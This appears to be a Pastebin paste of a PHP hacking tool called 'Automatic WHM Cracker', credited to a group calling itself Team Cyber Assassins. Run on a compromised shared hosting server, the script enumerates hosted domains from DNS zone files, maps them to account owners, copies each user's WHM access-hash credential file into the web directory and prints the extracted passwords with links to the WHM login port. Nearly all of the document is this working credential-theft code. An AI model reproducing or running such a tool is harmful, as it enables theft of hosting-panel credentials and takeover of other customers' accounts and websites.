N1nj2x

whm2.php

Aug 7th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.94 KB | None | 0 0
  1. <?php
  2.  
  3. @ini_set('display_errors',0);
  4. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  5. $ar0=explode($marqueurDebutLien, $text);
  6. $ar1=explode($marqueurFinLien, $ar0[$i]);
  7. return trim($ar1[0]);
  8. }
  9.  
  10. echo '<html><head>
  11. <title>Automatic WHM Cracker By N!nj@ X</title>
  12. <meta content="text/html; charset=utf-8">
  13. <meta name="author" content="n!nj@" />
  14. <link rel="SHORTCUT ICON" href="https://s13.postimg.io/x44jinbg3/12002771_737784829659099_63911911196075448_n.jpg">
  15. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  16. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  17. </head><body background="https://i.ytimg.com/vi/8RZRE0M3Hvc/maxresdefault.jpg">';
  18. echo '<center><div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">Auto WHM Cracker<br /><sub>TCA(Team Cyber Assassins)</sub></div><br/></center>';
  19.  
  20. echo "<center>";
  21. $d0mains = @file('/etc/named.conf');
  22. $domains = scandir("/var/named");
  23.  
  24. if ($domains or $d0mains)
  25. {
  26. $domains = scandir("/var/named");
  27. if($domains) {
  28. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> | </th><th> Access Hash </th></tr>";
  29. $count=1;
  30. $dc = 0;
  31. $list = scandir("/var/named");
  32. foreach($list as $domain){
  33. if(strpos($domain,".db")){
  34. $domain = str_replace('.db','',$domain);
  35. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  36. $dirz = '/home/'.$owner['name'].'/.accesshash';
  37. $path = getcwd();
  38.  
  39. if (is_readable($dirz)) {
  40. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  41. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  42. $password=entre2v2($p,'password="','"');
  43. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2086' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  44. $dc++;
  45. }
  46.  
  47. }
  48. }
  49. echo '</table>';
  50. $total = $dc;
  51. echo '<br><div class="result">Total WHM Found = '.$total.'</h3><br />';
  52. echo '</center>';
  53. }else{
  54. $d0mains = @file('/etc/named.conf');
  55. if($d0mains) {
  56. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Access Hash</th></tr>";
  57. $count=1;
  58. $dc = 0;
  59. $mck = array();
  60. foreach($d0mains as $d0main){
  61. if(@eregi('zone',$d0main)){
  62. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  63. flush();
  64. if(strlen(trim($domain[1][0])) >2){
  65. $mck[] = $domain[1][0];
  66. }
  67. }
  68. }
  69. $mck = array_unique($mck);
  70. $usr = array();
  71. $dmn = array();
  72. foreach($mck as $o) {
  73. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  74. $usr[] = $infos['name'];
  75. $dmn[] = $o;
  76. }
  77. array_multisort($usr,$dmn);
  78. $dt = file('/etc/passwd');
  79. $passwd = array();
  80. foreach($dt as $d) {
  81. $r = explode(':',$d);
  82. if(strpos($r[5],'home')) {
  83. $passwd[$r[0]] = $r[5];
  84. }
  85. }
  86. $l=0;
  87. $j=1;
  88. foreach($usr as $r) {
  89. $dirz = '/home/'.$r.'/.accesshash';
  90. $path = getcwd();
  91. if (is_readable($dirz)) {
  92. copy($dirz, ''.$path.'/'.$r.'.txt');
  93. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  94. $password=entre2v2($p,'password="','"');
  95. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  96. $dc++;
  97. flush();
  98. $l=$l?0:1;
  99. $j++;
  100. }
  101. }
  102. }
  103. echo '</table>';
  104. $total = $dc;
  105. echo '<br><div class="result">Total WHM Found = '.$total.'</h3><br />';
  106. echo '</center>';
  107.  
  108. }
  109. }else{
  110. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  111. }
  112.  
  113. echo "<center><br>&#169; <font color='#FF0000'>N!nj@ X</font> | TCA(Team Cyber Assassins)</center>";
  114. echo "</body></html>";
  115. ?>
Add Comment
Please, Sign In to add comment